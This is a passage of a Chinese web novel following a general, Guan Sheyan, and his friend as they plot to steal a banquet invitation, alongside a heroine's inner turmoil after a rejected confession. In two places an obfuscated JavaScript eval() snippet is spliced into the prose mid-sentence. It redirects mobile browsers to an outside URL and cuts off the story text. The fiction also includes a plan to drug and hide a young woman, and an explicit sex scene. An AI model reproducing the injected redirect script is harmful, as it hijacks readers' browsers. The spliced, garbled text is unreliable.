他话语迟疑:“真的假的啊?我怎么感觉魏氏跟春生才女是两个人呢?行事作风也差太多了,一个喜好招摇过市,一个呢喜好遮掩锋芒淡泊名利。” 春生……才女…… 关阇彦听着听着,遁入回忆,回到五年前的春天,父母推着他到后宅的院子里,叫他跟一帮身着红红绿绿鲜衣的女眷们一起玩耍,完完全全将他当作了能被人随意玩弄的小孩子。他刚在女孩儿群里落脚片刻,就被吓得拔腿就跑。魏家的院子很大,他从未来过这里,身边也没个引路人,他只好一边抱怨,一边漫无目的地在无人的清净之地游荡。 他听到不远处传来一名下人的声音。 有些模糊,应该是正对着某个方向唤“小姐”。 不一会儿那名老嬷嬷从前方的小宅里踏步出来。关阇彦怕被人捉回去,只好躲起来,看着前方那只宅院,心想——既唤了“小姐”,莫非是魏家的女儿? 是刚才扎堆在一起的女眷? 他脸色大变,想要逃离,但后方传来一阵脚步声,无回头路可走,他看着前路还算清静,便想要硬着头皮快步跑出去。但真正走到宅前时,他却瞥到了一方新天地,跨过茂密的久久无人打理的树丛,凌霄树的藤蔓紧紧抱着大门前支撑花墙的石柱,他透过花墙,抬眼看到了宅深处的一只高阁,高阁边栽着一俩颗叁天大树,好似是梧桐树和桂花树。 阁上有小囡温暾纯净的声音传出来,尽管认真严肃,但声线纤细,听起来似春日里的莺啼燕语。 她在念诗么? 年少的关阇彦见院中无人,心中好奇,偷摸着往里头踏了几步,终于跨越重重障碍,看到了阁楼上的小少女,好似十来岁的样子。她支颐高高抬眼,望着阁外碧空,清光潋滟,好似水一样在她白皙文静的面容上摇摆荡漾。她手里捧着一本诗集,却无心念书,她眼里满含向往,碧色的天空晴朗无比,一大片洁白若棉的云朵点缀其中,她又背起诗句。 “卧看满天云不动,不知云于我俱东?” 说罢,她又落寞得摇了摇脑袋,应是没办法理解此诗的快意,此情此景,总叫人觉得她像是被困于牢笼的美燕。她慢慢将小小的脑袋埋进柔软的臂弯,慵慵懒懒,微微挽起的乌发随风飘动,一只简单的嫩粉色的步摇也随之轻轻摇动。 韶华之色,刹是夺目。 关阇彦似早忘了闺阁之禁,呆看许久。这个女孩跟他在后宅中看到的都不同,总感觉看着她,心里都能得到治愈一般,干干净净的,比山泉水还要清冽。她长得也极其漂亮,不是张扬的美,有碧玉之色却无小家之态,实属珍奇。他从未见过这样的女孩,想不出该用何样的词语形容她。但总觉得世人称许的才女便是这样的。 后来,有寻他的人追了过来。 “嘿,听说那位小公子往这里跑了!” “快找找!” 关阇彦闻声,本想在院宅中寻一处地方躲避,结果看到了美丽的少女将脸重新从臂弯中抬起,他大骇,只好不情愿地从院中逃离。 那少女摩梭了几下臂膀,往楼下垂了几眼,许久都未见人影,她纳闷:“是野猫吗?” 总之后来,关阇彦跑得快,的确没被魏家的下人逮住,他另寻了一只地方溜达逗鱼逗龟,或者提着小树枝练剑,足够清闲。但脑中少女望云的场景迟迟散不去,他想要找路回宅院,结果一直寻不到出去的路。一直到傍晚,他都没被人寻到,魏府的管事急了眼,动用了全府的人马,终于把他带回了关将军身边,魏家人连连致歉,他反而觉得搞笑,终于不用跟盘丝洞那帮女妖精纠缠了,不久后,他便随父母离开了魏府。 母亲关夫人神神秘秘地问他:“那些女孩中,你可有喜欢的?” 关阇彦对此不屑:“不喜欢。” 关将军没打算现在就把联姻的事告诉他,也是拐弯抹角地骂他:“嘿,你这孩子,不是让你跟她们好好相处吗?就没看到哪个最漂亮的女孩?” 说到最漂亮的,关阇彦愣住了。 阁楼上的她算吗? 见他怔住,关将军哈哈大笑:“还说不喜欢呢。” 关夫人在旁揶揄:“看来阿郎是害羞了呢。” 关阇彦没有红脸,反而有些恹恹的,不大高兴。要不是那些碍事的下人,他根本不会逃走,说不定,他都跟她打交道了,也许还能知道她的名字。 说不定爹娘会知道呢?他提了提精神,问道:“爹娘,魏家最漂亮的小姐是谁?” “那肯定是魏学士的嫡长女了,我见过那孩子,长得水灵灵的,听说琴棋书画样样精通,是个才女呢!”关夫人使劲吹捧魏家嫡女,也算是提前给儿子安上对未婚妻的好印象。 关阇彦眸光顿闪,旋即胸有成竹了起来,心想:“那我肯定能找到她了。” “怎么,看上了?以后娶回来?”关将军见儿子红光满面,大志在胸,试探道。 关阇彦懵了懵,看上了不就是喜欢吗?他还没喜欢过什么女孩呢,甚至都没正眼瞧过哪个姑娘,总而言之,他自傲,谁都配不上自己。而且大男人的,谈感情多伤面子,而且爹娘的故事给了他很多教训,他觉得男欢女爱的事是靠不 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十九岁时,听到自己的终身大事,他第一反应甚至全是抵触,后来才是无可奈何的妥协。 在那之后的不久,他便奔赴南禺,去年秋末朔州府才女奇闻也是从杜明堂口中得知的。 才女…… 他一下子想起春天里,他对那位少女的评价。真的是她。他果然没看错人。 渐渐褪色的美图被回忆重新上色,分明坐在暗屋之中,他的双眸却盛了万里的晴空,风静静地吹,少女温软的声音入他耳中——“卧看满天云不动,不知云于我俱东……” 杜明堂看着他怔着眼,嘴角浮现意味不明的笑容,那笑容虽淡,却满含温暖。杜明堂从没见过他脸上出现过这种神色,连忙伸手在他眼前舞动,推他:“你没事吧?中邪了?!我刚刚说的话,你听到了没有啊?!” 关阇彦对年少时的少女满含滤镜,杜明堂先前对魏澜清的百般诋毁顿时没了影,他语气肯定:“她一定是她。” “什么什么她一定是她,哪个她?” “春生才女一定是魏澜清么?” “你怎么知道的啊?” 关阇彦颔首:“我以前见过她。” 杜明堂膛目结舌:“啊,真的假的?!不对,你的确去过魏府,但是从前没听你提过这事啊。” “时间太久,忘记了,”在轻狂的年纪里,他第一次感受到了时过境迁的威力,他放下茶盏,微微垂着脑袋,双手交在面前,“我也没想到我会忘记这些,本以为我会一直记得的。” 杜明堂盯着他,心里预感不妙,道:“你怎么突然开始惆怅了?” “年少时我见过魏氏,明媚若宝珠,但并未来得及结识我就离开了。后来我回到岭阳,替父征战多年,一直没回那里,也忘记了她。结果没想到,转眼间,她就成了我的未婚妻。更不可思议的是,她嫁的人会是关昀洲,夺目的宝珠谁都想抢,关昀洲嫉妒,是在情理之中。” “真是可惜,我虽不愿成亲,但若知是她,也许不会百般抵触,也不会对她说出那些不好听的话。” 他的话语充满歉意,对那魏氏也多出了许多同情之色。 杜明堂听他说完这一席话,觉得他疯了,可又反驳不了他,只能定在原地不动,石化了一般。 许久后,他讷讷道:“好吧……那我刚刚是不是不该说她的坏话?” 关阇彦:“嗯。她也是受害者,本不该存在配不配的问题。” 杜明堂知道他已经死心塌地了,叹息:“无所谓了无所谓了,劝不动就不劝了……反正你都得跟她成亲。你自己……唉,你心里有数,我之前确实偏激了。” 叹息中带着讥讽。 83. 欲拒还迎 杜明堂正式切入正题:“行了,谈谈到底怎么接近魏氏先。” 他想到了混入春桃酒宴这个办法,但兴奋过后,一大盆凉水就给他泼冷静了,他道:“我妹妹虽然推掉了宴席,但说一声都能解决,反正宴席还在两日后。但是,金小姐何等尊贵,小时候还差点被歹人拐走,自那以后,只要她出街,寺卿大人都会特地派人护送她,排场极大,光是护卫都能将一条街围满。酒宴这种,除了酒肆里的掌柜伙计外,男人一律禁止入楼……我们总不能让杜明茜替我们混进去打听消息吧?” 杜明堂虽然宠妹妹,但还是委婉地表明了自己的想法:“阿茜人是激灵,就是年纪轻轻,口无遮拦,脑子里的弯弯绕绕多半都是跟你这个彦哥哥有关的事,那宴席上人多眼杂的,她怎么跟魏氏套近乎……靠得住吗?” 说是激灵,实际上是骄纵,阅历少,小脾气又多,难成气候啊。 春桃酒宴是他们唯一的出路了,万一失策,所有的努力可都前功尽弃了,搞不好还得暴露行迹,关昀洲那边还怎么调查? 关阇彦扶额:“她不行,绝对不行。换人。” “换人?”杜明堂无力哂笑一声,“总不能是我们吧?男扮女装么?” “我嘛……还行,”他嫌恶地上下打量了关阇彦一眼,竟是先行想象了起来,“我反正没见过你这么壮的女人。” 关阇彦冷眼看他:“没有南禺那样的换脸秘术,我们这两张脸再易容都没用。” 听他提及那晦气的邪术,杜明堂起了一身的鸡皮疙瘩,嘶了一声:“你别说了。” 关阇彦继续说道:“再怎么女扮男装都不行,因为不能以杜明茜的名义出席,你有见过前一日哥哥办丧事,妹妹后脚就去酒池宴会享受的么?” 杜明堂大惊:“是啊!” “打劫吧。” 关阇彦蹙眉,迫不得已道。 “哈哈,关阇彦你也有今天,”杜明堂嘲笑起来,“不过也确实,没办法了。” “我明儿托我爹打听打听宴席里还有哪些会出席的贵女,挑个好对付的下手,”杜明堂说着,“不过拿到帖子后,还是得找一个亲近之人扮进去。杜明茜不行……那还能有谁呢?” 他眨巴眨巴眼睛,那透着精明劲儿的眼睛简直要将关阇彦看穿,很明显,他将算计人心的手段使到了他身上。 除了魏郁春,还有谁能扮演这个角色? 她聪慧至极,遇事沉着冷静,在一次有一次有惊无险的冒险中不断成长。即便没有寻找熟悉之人的这条限制在,关阇彦还是会下意识认定,她就是最适合办这件事的女子。 杜明堂当然也想到了这个女子,不过他跟关阇彦的出发点不同,他还是觉得此女跟关阇彦的关系不简单,加上确实除了杜明茜外,没有哪个女子跟他们有这么深的交情了。 关阇彦沉默了,甚至动作僵硬,是很明显的抵抗的反应,但他进退两难,无路可去,就只好顿在原地发愣犹豫,甚至脑中不断浮现昨日对她说过的那些绝情的话。 “当然是冯迎春了啊!”杜明堂迟迟没等来答案,只好急躁地嚷出来,恨铁不成钢似的。 “你之前跟她关系不是很好吗,怎么现在这么抵触?”杜明堂看着他,不解起来,不久后,他愕然,“不是吧,你们从昨天吵架到现在?” 是啊,昨日他在避暑宅的温香阁前寻到关阇彦的时候,就感觉他跟那女子的气氛不对劲。 但那时候问了关阇彦,他却什么都不说,杜明堂也就没把此事放心上,结果没想到一日既过,到了关键时刻,这两人关系别扭了。 真是一波未平一波又起,他舔了舔干燥的唇,不知是该气还是该笑:“我知道你这个榆木脑袋不会哄女孩开心,但没想到,你还很有惹人家女孩生气的本事。早说了,阿茜就不能喜欢你,以后吃亏死了。关键时刻掉链子。你说说该怎么办吧,反正我已无计可施了。” 再窘迫,关阇彦也不会视大局于不顾。杜明堂的话又激了他几下,他硬着头皮傲声道:“明天先把入席的帖子准备好,我回避暑宅寻冯迎春帮忙。” “这就对了嘛,”杜明堂扬了扬满意的嘴角,但关阇彦虽妥协了,但语气却忧心仲仲,令人好奇得很,他凑上去,忙问,“唉,你跟她在闹什么别扭呢?怎么突然间关系就闹差了。” 事已至此,还要瞒什么呢?关阇彦也清楚,杜明堂在八卦这方面,真的是不达目的不罢休的性子。 果然没一会儿,杜明堂见他不动口,就用那冒着金光的眼死死盯着他,威胁道:“反正你也知道我的性子,你不说,我能一个晚上缠着你不放,呵呵。早死早超生,都督,快招了吧。” 关阇彦凉凉一笑,乜他一眼,然后恹恹地撑着一边脑袋,眼皮微微耷拉,好似在微眠。他开了口:“她昨天跟我表明心意了。” 杜明堂:“啊?!” “一惊一乍,你是炮仗吗?” 杜明堂完全顾不上什么炮仗爆竹的了,他兴冲冲道:“唉,然后呢?!你不会拒绝了吧?!” “嗯。我说过我不喜欢她。”关阇彦懒散地瞥了杜明堂一眼,有些怀疑是不是这家伙把自己的阳气给吸走了。 他越是兴奋不能自己,自己就越发感到厌烦,只想闭上眼睛堵好耳朵,安安静静呆一会,当然,这不现实。 因为他知道,盛名远扬、口蜜腹剑的京城“鬼算盘”,背地里实实则是个能一口含三舌的话痨兼烦人精。 杜明堂咂咂嘴:“我就知道……没意思。但这也证明,我的眼光比你毒辣,你之前还嚷嚷人家姑娘不可能喜欢你什么的。结果呢?还不是跟我说的一样。” 说着说着,还阴阳了起来:“真不知道你这家伙哪里好了,从小到大老抢我风光,害我至今都没碰上哪个心仪我的漂亮小姑娘。再看看你,小时候其他书院里的名门贵女、我妹妹阿茜……连人南禺的小村娘,你都不放过!真是禽兽。” “这能怪我?”本该包含愠气的话,到了关阇彦口中竟被连连削成了单薄的问句。 杜明堂压眉觑他:“不对劲,换平时你得暴打我一顿了,今儿变性了?” “拒绝就拒绝呗,能理解,人小姑娘都脸皮薄,她能主动坦白心意就很了不起了,不过嘛,若是不成,肯定觉得丢脸。不和好也是应该的。” 杜明堂一改话风,叫人听出了几分要偏袒关阇彦的意思。结果突然,他就又一转态势,奇道:“人小姑娘伤心的事,你跟着后面凑热闹干什么?关阇彦你不对劲,没精打采,不痛快得很,被你拒绝过的姑娘多了去了,你什么时候这样过,就是良心发现也太晚了吧,嗯?” “你是不是其实是喜欢她的啊!害,我就知道,我不会看错人的,在盘龙山的时候我就从你们身上看到点苗头了!你这人一辈子骄傲惯了吧,这瞧不上那瞧不上,嘴上冒不出一句好话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447426|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,尽会伤人,死要面子活受罪啊,最后肯定是把自己坑了。现在后悔了?估计失去了才懂得珍惜吧!哈哈哈!!!” 杜明堂在一旁煽风点火,劲头十足,嘴念话念得奇快,要赶上酒楼里最会报菜名的伙计。 关阇彦想清净想得厉害,他换了动作,正色回去,不悦冷笑:“你挺会脑补,考虑考虑去戏班子里混混?” 他转念又想到了杜咏白日里说的话——“那女子定是喜欢这男子到了极点。” 鬼使神差间,他忽然对此感兴趣了起来,问杜明堂:“如果冯迎春表白被拒后一直躲着我,甚至害怕我,是因为什么?是特别喜欢我的意思吗?” 杜明堂歪了歪头:“你要这么解释也不错。女子心思不好猜的,就像我娘,老生气,一生气就躲着我爹,送什么礼都说不要,结果真的送给她后心里却高兴得不得了,对我爹的情谊只增不减,我娘惯会使这种欲拒还迎的小把戏。欲拒还迎,欲拒还迎,虽然你是拒绝她的人,但选择躲避你的人却是她,她明面上不见你,说不定心里想见得很。所以,冯迎春躲着你,脸皮薄是表面,害怕在心爱之人面前丢脸才是真原因。她说不定真的很喜欢你!” 跟他爹是一样的思路,关阇彦听着听着也信以为真了,觉着智者之言皆不约而同。 他颔首,心里暗暗较劲什么,简直是莫名其妙:“看来她真这么喜欢我。” 杜明堂道:“但你别以为这样就能跟冯迎春好好说话,女人的脾气难消解,尤其是隔夜仇……你,到明日都隔两夜了,那冯姑娘也是个犟种,都督好自为之吧。” “怎会?”关阇彦一想到“她喜欢我”,莫名的优越感跃上枝头,心里好似长了一串鲜花,一跃就跃得它们花枝乱颤,他忍忍嘴角的笑意,自信了起来,“我可不担心跟她打交道的问题。” 杜明堂:“那你刚刚在忧虑什么?” 他理所当然道:“当时本打算再不回避暑宅,为了帮她早日斩断情丝,说好了以后两不相欠,不再相见。若我再找回去,岂不成了言而无信之人?” 杜明堂眯着眼,乜他:“都督你是在欲盖弥彰么?我总觉得你是怕自己下不来台阶,所以给自己找理由吧?” 关阇彦听不进他的话,对他摆摆手,像是跟什么小猫小狗打交道似的,敷衍潦草:“我是怕她太喜欢我,再见到我会难以自拔而已。” 杜明堂啐了一口,脸色跟活似生吞了一双臭袜子一样难看:“吹牛吧你。真不要脸。” “我可是都督。” “是是是,我的好都督,是小的失言了。”杜明堂暗暗翻了个白眼儿。 “不早了,我先睡了。”说罢,关阇彦顺手脱了外套和鞋袜,跳上了杜明堂的床,闲适地栽下去,任杜明堂嚷嚷都闭眸不言语了。 “那可是我的床!”杜明堂叼着一口鸡腿肉,跑到床边气急败坏,但屋内不可闹出动静,使出吃奶的气力推关阇彦也推不动,他不得不甘拜下风。 不久后,拦在床边的关阇彦良心发现似的,动了动身子,杜明堂以为他是打算叫他跟自己一起上床了,结果关杜彦从身侧掏来一张薄毯子丢出去——良心发现个屁!杜明堂只好接过毯子打起了地铺。 关阇彦不喜与人同床共枕,男的女的都不行,免得对他动手动脚。他喜欢自己一个人清静点。但也懒得换地方了,索性占山为王,惹得杜明堂半夜辗转反侧,疑似在气不过什么。 84. 颜面何存 翌日,这是魏郁春与关阇彦分开的第二日,她昨日心情压抑,酝酿月余的感情一朝落空,若想瞬间将其放下是不可能的,她不是冷血之人,却也不能容忍自己对关阇彦再存有其他的心思。 早晨的食盒刚好成为了她彻底失望的线引,她心灰意冷,却也庆幸,关阇彦的冷漠绝情对她来说其实是救赎,能让她尽快对他失望,难道不是好事吗? 她真的,一辈子都不想再看到那张脸了。一辈子也不想再遇到像他这样的人,傲慢,不可一世,蛇头孔雀,冷血至极……她确信自己对他的喜欢真的有太多虚幻的成分,她喜欢的只是那份可以拯救自己于水火之中的天光,而不是他。 那束光恰好倒映在了他身上,海市蜃楼拔地而起,她以为他有的那些优点跟好处,也绝大多数都是自己赋予了它们意义与夺目的光辉。 如今摆脱幻象的控制,曾经的优点无所去从,只剩一地狼藉,她竟觅不到任何一处为他留有的好印象。 整整一日独处的时间,令她清醒了很多,注意力都被放到了自己身上。清晨光明亮又清新,她敞开了透风的窗,望向山头远处的红日,有些犹豫跟迷茫。 这里是京城,是中晋。她看到的是中晋的太阳,比南禺的挂得更高,颜色更亮。她本以为自己一辈子也看不到它了。 想之前,她还觉得再回京城是最不可能的事情,所以想再亲眼看看自己的生母成为了最奢侈的梦想。后来,她在禺山镇备受启发,决心维护自己的尊严和安全,若有机会,想要亲手将那些禽兽剜肉虐杀致死。可很明显,那时候她是万万没有机会的。 那现在呢? 她在中晋,在距离朔州府千里的京城。她望着的太阳的方向刚好是朔州府在的方向——她想了想前世隐忍的回忆,既心痛也不舍,不舍她无人照拂的母亲,还有每至秋日桂香四溢的亭台楼阁。 她该回去么?现在有机会。 可若是回去,她只怕眷恋曾经的生活,无需为生计操够了心,无需用本该读书写字的手终生匍匐于农地里。而南禺冯家爹娘的爱还有妹妹的依赖,也让她无法割舍。她有两个家,一个有她喜欢的生活,一个有她终生奢望的父母之爱。 她只能叹自己太贪。最后她终于做出决定,也许一生只有这一次能踏足中晋的机会了,不管用什么代价,她都得回朔州府一了遗憾。她无法与母亲相认,更无法长留朔州,到时候自会回到南禺,继续她作为冯迎春这一生的生活。 魏郁春继续盘算着,关阇彦说他的事情解决后便会派人送她回南禺,在此之前,她根本无法离开避暑宅……她到底该怎么去朔州府呢? 她总不能张口就告诉别人她要去朔州府见一个故人……她现在只是一个南禺偏僻山村里的小村娘,朔州府对她来说本该是一个陌生到不知是否存在的地方。实在要想办法也不是不可以,但前提是,若她要见的故人不是魏家人,她或许还能蒙混过关…… 关阇彦此人深不可测,他本就怀疑她的身份,露出破绽,难保他会偷摸查出他的底细。关阇彦与魏家有着千丝万缕的关系,她断然不肯跟他扯上任何关系,前世的死,她一直记在心底。 她又怎么会重蹈覆辙? 但思绪良久,她都没有找到一个好办法。她这几日食欲不大好,精力不足,越想越头疼,脸色都白了几度,毕竟往事的阴郁太重,好似将她的阳气全部吸走了一样。 她洗盥一番,踏门而出,问医工讨来了一本诗集打发时间。 京城—— 杜家棺材里的“杜明堂”换作了杂草人,里头塞了满满当当的符咒,说是能隔绝开死物跟生人之间流动的阴气,保杜明堂安康太平,从不信神的杜明堂比任何时刻都要虔诚。棺材在午时下了葬。杜明堂本尊则蹲在关阇彦的厢房里悠哉游哉地喝茶,手底还带来了父亲早上刚遣牙人送来的小道消息。 “找到合适的人选了?”关阇彦问他。 杜明堂翘着鼻子,说道:“那当然。你知道的,我们家行商的,除了要跟官府多打交道,也得跟许多文人墨客搞好关系。官府那边的人选也多,但多半惹不起。所以我跟我爹把心思安在文人墨客身上。” 商道一流来钱极快,士大夫浸淫金钱世界、以货利为急已不是稀奇事,早期起源江南商地,后来整个中晋都被这种隐晦的风气覆盖了。不少商人要跟官府打好关系的同时,也得顾着维护自己的名声,以在民间博取百姓好印象。 雅士与富贾蝇聚一膻,商人想要抹去浑身铜臭气,借雅士之光附庸风雅,而雅士视钱如命,攀结不已。这种事情早已见怪不怪了。 几乎所有商人都得经此一糟,区别在于能不能把握好这个度。杜家亦是如此,家中还是以实业为主,这些博噱头的东西弄,但弄得少。不像某些商人,附庸风雅惯了就真觉得自己也是雅士了,越来越堕落,被雅士骗得团团转,最后再被人一举揭露丑陋面目,彻底倒台。 杜明堂心里清楚得很,喜好跟商者纠缠不休的雅士能是什么好东西,表面光鲜,内里却比铜臭气还要臭气熏天。所以把方向安在这群人世上,对他来说,简直毫无负担,谁也别嫌谁手段脏就是了,道德不道德的,跟这种人说,简直是笑话了。 杜明堂笑得开心:“京城里有个叫钱德的文士,还蛮有名,但背地里却喜好跟李家混一起,天天拍马屁,喜好靠污蔑他人名声来为自己跟李家涨脸光,而且听说手里头不干净的事干得也多,人品难评。李家倒台,他忙着找靠山,这不昨日来了,带着他女儿钱雀一块,她也是这次参宴的贵女之一。我娘说,钱雀今年十六,身量比我妹妹高上小半个头,骨架纤细,皮肤粉白,气质跟他爹一样,不过她表面文静风光,私底下却是比我妹妹还骄纵的丫头。” “我记得那位冯姑娘身材就跟钱雀差不多,皮肤也是粉白干净的,气质甚至比钱雀还要娴静。冯姑娘把脸一遮,装扮好出来,简直跟钱雀一模一样呢。简直是天助我们也。” 关阇彦颔首,他对于杜明堂的办事能力是很认可的,他毫不犹豫地选择了这个目标,道:“你将此女今日的行程记录给我,我去会会她。” “太简单了,钱雀喜欢去禄明街的如月阁买脂粉,最近如月阁出了一些事,听说是别家脂粉铺的人安插进来的小细作偷工减料,还在里面的一批脂粉里下了刺挠粉,钱雀中了招,所以昨日随他父亲出席时,一直都带着一张半掩着脸的面纱,别人都觉得她是未出阁的姑娘家,出门害羞谨慎呢。后日就是春桃酒宴了,她这几天一直在晚上偷偷去寻医工给自己医脸。”杜明堂谨慎地交代清楚事情的原委。 这位钱雀小姐背地里偷鸡摸狗的事情干得不比她爹少,所以说起她的事,杜明堂的话音久久不能绝口。 “钱雀有个表姐,名叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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语罢,他也把兰荫街与杜府所在的仁寿坊画好了位置,二者之间,用了不同的街道线路连通了起来。 “我跟我爹凌晨商量了好一会儿,仁寿坊在烟火繁荣地,就算是夜晚出行也不方便,毕竟最近盯着杜家的人太多了,人多眼杂。所以挑选了一些清静的避开人际的路子,你照着这个走绝对没问题,就是稍微远了些。” 关阇彦肯定道:“万事俱备只欠东风。你想好窃走请帖后要怎么安排钱雀吗?” “迷药迷晕啊,藏起来,事成后叫醒她,再安排安排,她身上太多可以利用的点了,比如,如月阁胭脂有毒,半夜医工给她医脸,表姐嫉妒她什么之类的。随便找一个嫁祸一下都成。反正也就晕她个一天不到的时间,没人会怀疑。宴会上也几乎没有认识钱雀的,有也都是不太熟悉的,冯姑娘还遮着面容,谁能认得出来?再说了,冯姑娘冰雪聪明,肯定应付得来啊。” 这个计划办好了,绝对会万无一失,杜明堂觉得这是理所当然的事情。 当然前提是,冯姑娘得答应关阇彦的要求,而基于此之上的是,他得主动寻她和好。 这可有好戏看了。 关阇彦这人脸皮虽然厚,但拉不下来一点,现在居然还要主动找人道歉和好,就是想象一下,杜明堂都做不到。荒唐到不可理喻了!!! 结果偏偏勾引得人好奇心大发,杜明堂越想越兴奋,当即要求:“你是不是计划当夜就出城去避暑宅找冯姑娘?请你务必带上我啊!” “滚!”谁能不知道他葫芦里卖的什么药? 杜明堂妄图看好戏的念想被关阇彦当即斩断。本就情形尴尬,杜明堂再插脚进来岂不是乱套了?他虽然嘴上逞强,说冯迎春的事情好办,但冯迎春性子淡漠又拧巴,万一又闹别扭,届时他颜面何存? 关阇彦理直气壮道:“你得留在杜府亲自看管钱雀,不可踏出杜宅半步。” 85. 视而不见(1) 任杜明堂如何胡搅蛮缠,关阇彦都没有松过半分口。 他早早离去,收拾好今夜出行的东西,譬如遮掩身形和面容的夜行衣、行走时可静声的靴子等等。 当夜,他早早在杜明堂所说的野亭子里候着,未几,传说中叫人知人知面不知心的钱雀钱小姐果然寻到了这里,深夜凉风,钱雀面上的轻纱掀来掀去。 关阇彦就着微薄的月色瞥见了那轻纱下的面容,的确姣好,看起来人畜无害,但眼神却掩不住她本质上的刻薄与无知,终究是庸庸之辈。关阇彦对她这样的平庸之辈很是不屑。 但杜明堂不是说她深受毒脂粉之苦,面容上红疹不去吗?如今一看,钱雀的面容光洁若月盘,哪里有疹子的影子? 莫非情报有误? 他本打算直接动手,医工突然蹦了出来,不知从哪个犄角旮旯里。 但未想到这家伙会这么快出现。关阇彦记得自己来后未察觉到有人来过,难道,这医工在比他更早之前就在此地候着了?而且还一直保持着不动的姿势等了将近一个多时辰?什么样的病人值得这位医工如此尽心尽力? 正当他疑惑时。深绿乱草掩饰的碑亭里,一对男女忽地拥抱在一起,那男人一边搂着年轻少女的腰,一边开始解开腰带,往下褪裤子。 关阇彦眸色一动,旋即瞥开眼睛,傻子都知道这两人接下来要干什么龌龊事。 此夜一行,变数多矣,尽归功于杜明堂偏颇诸多的虚假情报。关阇彦身处非议之地,心中痛骂了杜明堂几声,他是不可能站在此地一直静观其变的,于是开始盘算要如何一箭双雕。 不如……关阇彦眸色渐邪。不是缺少利用的理由么?眼下这副场景难道不是现成的理由? 女子清白胜过生命,但若是她自己不知廉耻,他又何必多此一举,帮她护住清白。眼前男女欢爱不已,一看就是两厢情愿的事,深更半夜,凉亭野地,两个人难道还有什么苦衷不成? 关阇彦冷笑一声,他捏了捏拳头,想要直接将二人弄晕,一起抬回杜府。 他虽没有办法让钱雀的记忆消失,也无法让春桃宴会上发生的种种事情当作肉泥移植到她的脑海里,但如果直接用可以威胁到她清白性命的东西逼她配合他的计划呢? 那将是万无一失的计划。没有任何漏洞。 他听到了亭中少女与中年男子呻吟之音,其中夹杂着不堪入耳的污言秽语,他借此捕捉到了更多的信息。 “小骚货……喜不喜欢爷的……” “嗯……用力些……” “那你小声点叫,别被别人发现了。” 浑身几乎就剩了一件软纱罩裙和肚兜的钱雀忽地恼了恼,嗔怒:“怕被谁发现?被你家那只母大虫。她到底哪里比我好了?我比她漂亮,比她有钱,比她年轻,比她更有学识!你不如快些将她休了的好!” 医工用力顶了顶她的肚子,无奈又恼怒道:“便是休了,我便能娶了你?我还有两个孩子,你们家肯照顾他们吗?” “如果一切真那么容易,你何必设下此局骗你父亲?要不是你拿烂脸当作理由,我们连见一面都难。” 钱雀默了默,后来就没有再说话了,唯有那丝丝□□的呻吟声幽幽地荡在野草乱树之间,野地里的飞虫走兽皆被他们二人不堪入目的画面吓得四处乱窜,场面真是一度混乱。 关阇彦也就此摸清楚了情况,杜明堂的消息没有错,钱雀的确借如月阁脂粉一事蒙骗过关,但没想到,这个荒唐的理由是用来蒙骗钱雀的父亲钱德的。他本以为,这件事她做得不露风声,除了她自己跟贴身丫鬟皆无人知晓。 看来,在乎春桃酒宴的人根本不是钱雀本人,而是她的父亲钱德。与其说钱雀忌惮表姐夺走参宴的机会,不如说是钱德忧虑自家的亲戚动歪心思。 所以钱雀接烂脸一事拿捏住了父亲,父亲才会同意她在深夜出府治病,按道理应该还会派些侍从陪着女儿才对,但不知这钱雀用了什么法子脱身了。 而钱雀之所以这么做,估计是心系这名医工。 听语气,二人先前也是老相识,不过因为各种原因,比如这医工是个有妇之夫,还有钱雀的门第的确是寻常百姓高攀不得的等等。钱雀的心思可能被父亲知晓,于是将她看管得严,二人根本没有了私会机会。 所以钱雀掐准了春桃酒宴的时机给父亲下了这个套? 当真是好手段。 细细想来,这一切进行地如此顺畅,毫不突兀。 若不是这样,一直喜好独来独往行走在商场洪流里的钱德怎么会在最近突然一改作风,喜欢将女儿钱雀随时带在身边?女儿面容毁了,他这个喜好面子的文士怎么会视其为难舍难分的珍宝呢?除非,他是害怕女儿毁容之事外泄,所以他必须亲自陪着女儿,帮女儿把关消息。 还有,这位钱雀小姐烂脸的时间又为何卡得这么准?如月阁毒脂粉的事情已经过去了将近十五日,钱雀拿此事当作借口,说实话,有些晚了,晚到太巧合了,因为不久后就是春桃酒宴不是吗? 貌美年轻的少女偏偏要看上这个三四十岁一脸邋遢的老大叔?这个姑娘到底是名门大户之女,若她不是自愿的,今日这种荒唐事怎么可能发生?她太不自怜,真是把自己毁了,一点节气风骨都没有。 关阇彦想着想着,对她的行为越发感到不耻,忽地脑子飘荡出又一个年轻少女的身影。 她一身糙布衣裳,但看着却毫无风尘气,一身竹竿似的脊梁骨撑着她高昂的头颅,面上不屈于万物的眼神令人肃静,她不骄傲,平静之中,风骨凌然,好似清风朗月,却又如此明媚……和钱雀有着极其鲜明的对比。 那个身影是冯迎春…… 关阇彦脸色大变。 这时候怎么突然想起她来了,是不是疯了?! 不能再等了。他慌里慌张地起步,如鬼魅一般驰奔在酷夜。 脱得精光的男女听到动静却不见其人,心里大惊,以为是鬼。 关阇彦放弃了直接将他们打晕的念头,带着恼羞成怒的情绪,撂起掉落在地上的男人的腰带,一圈又一圈,直接将男女其腰绑在一块。 钱雀和男人大叫,却发现自己腰上被东西缠得紧紧的,他们根本无法分离。钱雀凸起的胸部抵着男人肥硕的胸膛,分明要被怼开,但碍于下/身的捆缚,他们只能以奇怪的方式互相粘着对方,活似连体婴。 关阇彦将一些恶趣味投入了此情此景,嫌恶地瞥了一眼男女二人粘连时粘腻的场面,忍了忍干呕,嘴角挂上坏笑。他故意在二人最狼狈不耻的时候,将他们的动作定格了起来。 他的面容被夜行衣包裹得严实,钱雀和男人只好又哭又怕地问:“你是什么人!” 他们这是以为自己要杀人灭口了,毕竟此时他的眼神的确很吓人。 